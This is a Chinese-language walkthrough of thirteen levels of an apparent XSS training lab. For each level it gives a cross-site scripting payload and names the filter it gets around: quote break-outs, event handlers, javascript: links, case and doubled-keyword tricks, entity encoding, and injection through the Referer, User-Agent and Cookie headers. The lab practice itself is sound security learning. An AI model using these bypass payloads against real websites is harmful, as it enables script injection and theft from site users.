level1
使用测试代码
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>
未做任何过滤
输入
<script>alert(/zk/)</script>
level2
先做测试,查看页面代码,发现输入在value值中
可以先用">将value闭合
"><script>alert(/zk/)</script>
level3
先做测试,发现过滤了尖括号并且value是单引号闭合,可以使用事件(事件类型自选,我只举例一种onmouseover,此相应是鼠标移动到元素上触发)
输入下面的代码,前一个单引号用于闭合value,后一个用于和后面的凑对,输入完成后鼠标放到输入框即可
'onmouseover='alert(/zk/)
level4
先做测试,过滤了尖括号
基本同第三题,就是吧单引号换成双引号,输完后把鼠标放到输入框里
"onmouseover="alert(/zk/)
level5
先进行测试,发现<script>和on都被过滤了,但是href没有,可以使用<a href>
使用伪协议,点击click me即可过关
"><a href=javascript:alert(/zk/)>click me</a>
level6
先进行测试,指过滤了on和<script>,没有过滤大小写
大写哪个字母无所谓
"><scriPt>alert(/zk/)</Script>
level7
先进行测试,过滤了script,on,href关键字,通过这段测试代码就可以发现可以使用双写
输入
"><scrscriptipt>alert(/zk/)</scrscriptipt>
level8
还是进行测试,发现过滤了尖括号以及双引号以及on,发现数据会传参给友情链接,友情链接会对关键字进行二次过滤
发现友情链接为<a href>结构,可以直接使用伪协议,但是要进行转码(可以只转一个,我就全转了)【格式为&#加十进制ascii码,或者&#x加十六进制ascii码】
javascript:alert(/zk/)
点击友情链接即可
level9
先进行测试,和上一关差不多,但是多了一个检测链接合法性的过滤
还是使用伪协议转码,内容换为http://
javascript:alert('http://')
level10
检查,这关没有输入框,直接在URL中输入,发现3个隐藏的input,不知道哪个会传参,尝试一下
发现只有t_sort会传参
重新构造一个input
"><input name="zk" type="txt" onmouseover="alert(/zk/)">
将鼠标放到输入框
拓展一个点击事件,点击一下就可以,搭配botton使用
"><input name="zk" type="button" onclick="alert(/zk/)">
level11
检测,发现没有过滤什么,但是使用?t_ref无法传参,此处的value为referer字段
可以直接bp抓包,也可以直接用hackbar(没有就创建一个)
"><input name="zk" type="txt" onmouseover="alert(/zk/)">
level12
检测,很眼熟了,是user-agent
直接
"><input name="zk" type="txt" onmouseover="alert(/zk/)">
level13
十三题同理,只不过是换成了cookie字段
注意,如果直接在hackbar上改记得加user=
"><input name="zk" type="txt" onmouseover="alert(/zk/)">
(如果传参失败就将url后缀都删掉只留到level13.php?,再修改cookie)